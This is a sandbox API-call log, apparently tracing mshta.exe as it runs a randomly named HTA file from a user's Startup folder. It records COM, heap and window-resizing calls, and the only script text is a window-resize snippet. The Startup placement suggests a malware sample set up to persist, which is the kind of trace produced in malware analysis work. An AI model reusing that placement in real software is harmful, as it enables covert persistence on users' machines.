[0102.784] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x75e26460, pUnk=0x6effa0, riid=0x74715710*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x6effbc | out: pdwCookie=0x6effbc*=0x100) returned 0x0
[0102.784] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x6effa0, riid=0x75d197c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1cf178 | out: ppvObject=0x1cf178*=0x0) returned 0x80004002
[0102.785] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x6effa0, riid=0x75d23e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1cf168 | out: ppvObject=0x1cf168*=0x0) returned 0x80004002
[0102.785] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x6effa0) returned 0x2
[0102.785] IUnknown:AddRef (This=0x4772d0) returned 0x2
[0102.785] IUnknown:Release (This=0x4772d0) returned 0x1
[0102.785] ??2@YAPAXI@Z () returned 0x2c40b78
[0102.785] GetTickCount () returned 0x11319f7
[0102.785] ??2@YAPAXI@Z () returned 0x2c411c8
[0102.785] malloc (_Size=0x40) returned 0x2c41238
[0102.785] malloc (_Size=0x104) returned 0x2c41280
[0102.785] ??2@YAPAXI@Z () returned 0x6effc8
[0102.785] CoGetObjectContext (in: riid=0x74710270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1cf210 | out: ppv=0x1cf210*=0x4772d0) returned 0x0
[0102.785] IUnknown:Release (This=0x4772d0) returned 0x1
[0102.785] CoGetObjectContext (in: riid=0x74710270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1cf210 | out: ppv=0x1cf210*=0x4772d0) returned 0x0
[0102.785] IUnknown:Release (This=0x4772d0) returned 0x1
[0102.785] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb400
[0102.785] GetCurrentThreadId () returned 0x4e0
[0102.785] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x49c138
[0102.786] StrCmpIW (psz1="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", psz2="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0
[0102.786] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x10) returned 0x4bb418
[0102.786] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x492410
[0102.786] GetCurrentThreadId () returned 0x4e0
[0102.786] realloc (_Block=0x0, _Size=0xc8) returned 0x2c41390
[0102.786] _wcsicmp (_String1="", _String2="") returned 0
[0102.786] SysStringLen (param_1="\r\n window.moveTo(50, 50);\r\n window.resizeTo(screen.width - 100, screen.height - 100);\r\n ") returned 0x65
[0102.786] ??2@YAPAXI@Z () returned 0x2c41460
[0102.786] malloc (_Size=0x804) returned 0x2c41488
[0102.786] ??2@YAPAXI@Z () returned 0x2c41c98
[0102.787] malloc (_Size=0x3) returned 0x2c41e00
[0102.787] malloc (_Size=0x104) returned 0x2c41e10
[0102.787] malloc (_Size=0x204) returned 0x2c41f20
[0102.787] ??3@YAXPAX@Z () returned 0x1
[0102.787] malloc (_Size=0x404) returned 0x2c42130
[0102.787] malloc (_Size=0x40) returned 0x2c41c98
[0102.787] malloc (_Size=0x278) returned 0x2c42540
[0102.788] ??2@YAPAXI@Z () returned 0x2c41ce0
[0102.788] free (_Block=0x2c41488)
[0102.788] ??3@YAXPAX@Z () returned 0x1
[0102.788] free (_Block=0x2c41e00)
[0102.788] free (_Block=0x2c41c98)
[0102.788] free (_Block=0x2c42130)
[0102.788] free (_Block=0x2c41f20)
[0102.788] free (_Block=0x2c41e10)
[0102.788] ??2@YAPAXI@Z () returned 0x2c427c0
[0102.788] ??2@YAPAXI@Z () returned 0x2c427f8
[0102.788] malloc (_Size=0xc) returned 0x2c42818
[0102.788] ??2@YAPAXI@Z () returned 0x2c42830
[0102.788] CoGetObjectContext (in: riid=0x74710270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1cf330 | out: ppv=0x1cf330*=0x4772d0) returned 0x0
[0102.788] IUnknown:Release (This=0x4772d0) returned 0x1
[0102.789] ??2@YAPAXI@Z () returned 0x2c42878
[0102.789] CoGetObjectContext (in: riid=0x74710270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1cf380 | out: ppv=0x1cf380*=0x4772d0) returned 0x0
[0102.789] IUnknown:Release (This=0x4772d0) returned 0x1
[0102.789] ??2@YAPAXI@Z () returned 0x2c428e8
[0102.789] ISystemDebugEventFire:IsActive (This=0x4a4028) returned 0x1
[0102.789] CoGetObjectContext (in: riid=0x74710270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1cf37c | out: ppv=0x1cf37c*=0x4772d0) returned 0x0
[0102.789] IUnknown:Release (This=0x4772d0) returned 0x1
[0102.790] malloc (_Size=0x658) returned 0x2c42968
[0102.791] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492ef8
[0102.791] GetCurrentThreadId () returned 0x4e0
[0102.794] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.794] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.794] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4070
[0102.794] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x4b9ad0
[0102.794] ??2@YAPAXI@Z () returned 0x2c41cf0
[0102.795] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.795] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a40b8
[0102.795] IsWindow (hWnd=0x1012c) returned 1
[0102.795] IsWindowVisible (hWnd=0x1012c) returned 1
[0102.795] GetWindowRect (in: hWnd=0x1012c, lpRect=0x1cec68 | out: lpRect=0x1cec68) returned 1
[0102.795] SetWindowPos (hWnd=0x1012c, hWndInsertAfter=0x0, X=50, Y=50, cx=1080, cy=625, uFlags=0x44) returned 1
[0102.795] NtdllDefWindowProc_W () returned 0x0
[0102.795] NtdllDefWindowProc_W () returned 0x0
[0102.815] NtdllDefWindowProc_W () returned 0x0
[0102.815] NtdllDefWindowProc_W () returned 0x0
[0102.815] GetCurrentThreadId () returned 0x4e0
[0102.816] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.816] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.816] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.816] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b7e48
[0102.816] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492f28
[0102.816] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.816] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4100
[0102.816] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.816] GetDeviceCaps (hdc=0xa01025b, index=8) returned 1440
[0102.817] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.817] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492f58
[0102.817] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.817] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.817] GetDeviceCaps (hdc=0xa01025b, index=10) returned 900
[0102.817] GetCurrentThreadId () returned 0x4e0
[0102.818] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.818] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.818] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0102.818] IsWindow (hWnd=0x1012c) returned 1
[0102.818] IsWindowVisible (hWnd=0x1012c) returned 1
[0102.818] GetWindowRect (in: hWnd=0x1012c, lpRect=0x1cec68 | out: lpRect=0x1cec68) returned 1
[0102.818] SetWindowPos (hWnd=0x1012c, hWndInsertAfter=0x0, X=50, Y=50, cx=1340, cy=800, uFlags=0x44) returned 1
[0102.818] NtdllDefWindowProc_W () returned 0x0
[0102.818] NtdllDefWindowProc_W () returned 0x0
[0102.818] NtdllDefWindowProc_W () returned 0x0
[0102.818] NtdllDefWindowProc_W () returned 0x0
[0102.820] NtdllDefWindowProc_W () returned 0x1
[0102.820] NtdllDefWindowProc_W () returned 0x0
[0102.820] GetClientRect (in: hWnd=0x1012c, lpRect=0x1ce84c | out: lpRect=0x1ce84c) returned 1
[0102.820] GetClientRect (in: hWnd=0x1012c, lpRect=0x1ce84c | out: lpRect=0x1ce84c) returned 1
[0102.820] IntersectRect (in: lprcDst=0x1ce6a8, lprcSrc1=0x1ce6a8, lprcSrc2=0x1ce640 | out: lprcDst=0x1ce6a8) returned 1
[0102.820] IntersectRect (in: lprcDst=0x1ce6a8, lprcSrc1=0x1ce6a8, lprcSrc2=0x1ce640 | out: lprcDst=0x1ce6a8) returned 1
[0102.820] CopyRect (in: lprcDst=0x461d1c, lprcSrc=0x1ce84c | out: lprcDst=0x461d1c) returned 1
[0102.820] OffsetRect (in: lprc=0x461d1c, dx=0, dy=0 | out: lprc=0x461d1c) returned 1
[0102.820] CopyRect (in: lprcDst=0x461d2c, lprcSrc=0x1ce84c | out: lprcDst=0x461d2c) returned 1
[0102.820] OffsetRect (in: lprc=0x461d2c, dx=0, dy=0 | out: lprc=0x461d2c) returned 1
[0102.820] CopyRect (in: lprcDst=0x1ce788, lprcSrc=0x1ce84c | out: lprcDst=0x1ce788) returned 1
[0102.820] IntersectRect (in: lprcDst=0x1ce778, lprcSrc1=0x1ce788, lprcSrc2=0x1ce84c | out: lprcDst=0x1ce778) returned 1
[0102.821] EqualRect (lprc1=0x1ce778, lprc2=0x1ce788) returned 1
[0102.821] CreateRectRgnIndirect (lprect=0x732e7be0) returned 0x704020f
[0102.821] GetUpdateRgn (hWnd=0x1013a, hRgn=0x704020f, bErase=0) returned 1
[0102.821] DeleteObject (ho=0x704020f) returned 1
[0102.821] SetWindowPos (hWnd=0x1013a, hWndInsertAfter=0x0, X=0, Y=0, cx=1324, cy=762, uFlags=0x14) returned 1
[0102.821] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0102.821] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x46, wParam=0x0, lParam=0x1ce71c*=65850, plResult=0x1ce5b8 | out: plResult=0x1ce5b8) returned 0x1
[0102.821] NtdllDefWindowProc_W () returned 0x0
[0102.821] GetCurrentThreadId () returned 0x4e0
[0102.821] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0102.821] GetCurrentThreadId () returned 0x4e0
[0102.821] NtdllDefWindowProc_W () returned 0x1
[0102.821] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0102.821] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x47, wParam=0x0, lParam=0x1ce71c*=65850, plResult=0x1ce5b4 | out: plResult=0x1ce5b4) returned 0x1
[0102.821] NtdllDefWindowProc_W () returned 0x0
[0102.822] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0102.822] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x5, wParam=0x0, lParam=0x2fa052c, plResult=0x1ce1f0 | out: plResult=0x1ce1f0) returned 0x1
[0102.822] NtdllDefWindowProc_W () returned 0x0
[0102.822] GetCurrentThreadId () returned 0x4e0
[0102.822] GetCurrentThreadId () returned 0x4e0
[0102.822] GetCurrentThreadId () returned 0x4e0
[0102.823] NtdllDefWindowProc_W () returned 0x0
[0102.823] NtdllDefWindowProc_W () returned 0x0
[0102.826] NtdllDefWindowProc_W () returned 0x1
[0102.828] GetCurrentThreadId () returned 0x4e0
[0102.828] GetCurrentThreadId () returned 0x4e0
[0102.828] ISystemDebugEventFire:IsActive (This=0x4a4028) returned 0x1
[0102.829] ??3@YAXPAX@Z () returned 0x1
[0102.829] free (_Block=0x2c41390)
[0102.829] GetCurrentThreadId () returned 0x4e0
[0102.829] GetCurrentThreadId () returned 0x4e0
[0102.829] GetCurrentThreadId () returned 0x4e0
[0102.829] GetCurrentThreadId () returned 0x4e0
[0102.829] GetCurrentThreadId () returned 0x4e0
[0102.829] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b8fb0 | out: hHeap=0x450000) returned 1
[0102.829] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48eed8 | out: hHeap=0x450000) returned 1
[0102.829] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.829] GetCurrentThreadId () returned 0x4e0
[0102.829] SetEvent (hEvent=0x1dc) returned 1
[0102.829] Sleep (dwMilliseconds=0x0)
[0102.841] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cf720 | out: ppu=0x1cf720) returned 0x0
[0102.841] IUnknown:AddRef (This=0x47c954) returned 0x3
[0102.841] IUri:GetAbsoluteUri (in: This=0x47c954, pbstrAbsoluteUri=0x1cf7a0 | out: pbstrAbsoluteUri=0x1cf7a0*="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0x0
[0102.841] IUnknown:Release (This=0x47c954) returned 0x2
[0102.841] ShouldShowIntranetWarningSecband () returned 0x0
[0102.847] GetIUriPriv () returned 0x0
[0102.847] IUnknown:Release (This=0x47c954) returned 0x2
[0102.847] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf598 | out: lpPoint=0x1cf598) returned 1
[0102.847] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x49c1a8
[0102.847] GetCurrentThreadId () returned 0x4e0
[0102.847] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49c1a8 | out: hHeap=0x450000) returned 1
[0102.847] GetCurrentThreadId () returned 0x4e0
[0102.847] GetCurrentThreadId () returned 0x4e0
[0102.848] GetCurrentThreadId () returned 0x4e0
[0102.848] GetCurrentThreadId () returned 0x4e0
[0102.848] GetCurrentThreadId () returned 0x4e0
[0102.848] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cf1f0 | out: lprcDst=0x1cf168) returned 1
[0102.848] IntersectRect (in: lprcDst=0x1cf200, lprcSrc1=0x1cf200, lprcSrc2=0x1cf168 | out: lprcDst=0x1cf200) returned 1
[0102.848] IntersectRect (in: lprcDst=0x1cf258, lprcSrc1=0x1cf258, lprcSrc2=0x1cf1f0 | out: lprcDst=0x1cf258) returned 1
[0102.848] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.848] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.848] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.848] IntersectRect (in: lprcDst=0x1cf48c, lprcSrc1=0x1cf48c, lprcSrc2=0x1cf45c | out: lprcDst=0x1cf48c) returned 1
[0102.848] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf47c | out: lprcDst=0x499f50) returned 1
[0102.848] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf49c | out: lprcDst=0x499f50) returned 1
[0102.848] IntersectRect (in: lprcDst=0x1cf050, lprcSrc1=0x1cf050, lprcSrc2=0x1cf020 | out: lprcDst=0x1cf050) returned 1
[0102.848] IntersectRect (in: lprcDst=0x499fd8, lprcSrc1=0x499fd8, lprcSrc2=0x1cf040 | out: lprcDst=0x499fd8) returned 1
[0102.848] IntersectRect (in: lprcDst=0x1cf14c, lprcSrc1=0x1cf14c, lprcSrc2=0x1cf11c | out: lprcDst=0x1cf14c) returned 1
[0102.848] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cf13c | out: lprcDst=0x499f50) returned 1
[0102.848] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.849] IntersectRect (in: lprcDst=0x1cf060, lprcSrc1=0x1cf060, lprcSrc2=0x499f40 | out: lprcDst=0x1cf060) returned 1
[0102.849] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.849] UnionRect (in: lprcDst=0x1cf6a8, lprcSrc1=0x1cf6a8, lprcSrc2=0x1cf654 | out: lprcDst=0x1cf6a8) returned 1
[0102.849] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492f88
[0102.849] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x492f88 | out: hHeap=0x450000) returned 1
[0102.850] RedrawWindow (hWnd=0x1013a, lprcUpdate=0x1cf728, hrgnUpdate=0x0, flags=0x21) returned 1
[0102.850] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x492f88
[0102.850] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe) returned 0x4bb478
[0102.850] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x40) returned 0x4a4148
[0102.850] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b7e88
[0102.850] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x12) returned 0x4b7ea8
[0102.850] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4190
[0102.851] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x492fb8
[0102.851] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48eed8
[0102.851] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb460
[0102.851] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x44) returned 0x49d7b8
[0102.851] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x800) returned 0x497728
[0102.851] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x497728, Size=0x11fe) returned 0x497728
[0102.851] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa04) returned 0x498930
[0102.851] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497728 | out: hHeap=0x450000) returned 1
[0102.851] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0102.851] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x492fe8
[0102.851] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a05f8
[0102.851] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb4a8
[0102.851] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4a05f8 | out: hHeap=0x450000) returned 1
[0102.851] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4a4bd8 | out: hHeap=0x450000) returned 1
[0102.851] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f400
[0102.851] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.851] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.852] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.852] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.852] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x2c) returned 0x49c1a8
[0102.852] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f458
[0102.852] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x64) returned 0x4a4bd8
[0102.852] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x493018
[0102.852] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x4bb490
[0102.852] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b5d40 | out: hHeap=0x450000) returned 1
[0102.852] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x38) returned 0x4900e0
[0102.852] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x3c) returned 0x4a41d8
[0102.852] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4e0e) returned 0x4e1f38
[0102.853] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b7ec8
[0102.853] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4e0e) returned 0x4e6d50
[0102.853] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4220
[0102.853] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1f38 | out: hHeap=0x450000) returned 1
[0102.853] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f4b0
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x493048
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x4bb448
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x493078
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x12) returned 0x4b7ee8
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b7f08
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe) returned 0x4bb4c0
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4268
[0102.854] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b7ee8 | out: hHeap=0x450000) returned 1
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4930a8
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f508
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4930d8
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a05f8
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x493108
[0102.854] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f560
[0102.855] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4bb460, Size=0x18) returned 0x4b7ee8
[0102.855] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x493138
[0102.855] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499358
[0102.855] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a0608
[0102.855] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x499388
[0102.855] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f5b8
[0102.855] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4993b8
[0102.855] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4993e8
[0102.855] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4) returned 0x4a0618
[0102.855] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499418
[0102.855] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497518 | out: hHeap=0x450000) returned 1
[0102.855] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499448
[0102.855] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x6) returned 0x4a0628
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499478
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x4bb460
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x4994a8
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe) returned 0x4bb4d8
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b7f28
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x4bb4f0
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a42b0
[0102.856] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb4d8 | out: hHeap=0x450000) returned 1
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f610
[0102.856] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4b7ee8, Size=0x24) returned 0x4994d8
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499508
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x499538
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe) returned 0x4bb4d8
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b7ee8
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x4bb508
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a42f8
[0102.856] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb4d8 | out: hHeap=0x450000) returned 1
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f668
[0102.856] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499568
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499598
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x4bb4d8
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x4995c8
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe) returned 0x4bb520
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b7f48
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x4bb538
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4340
[0102.857] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb520 | out: hHeap=0x450000) returned 1
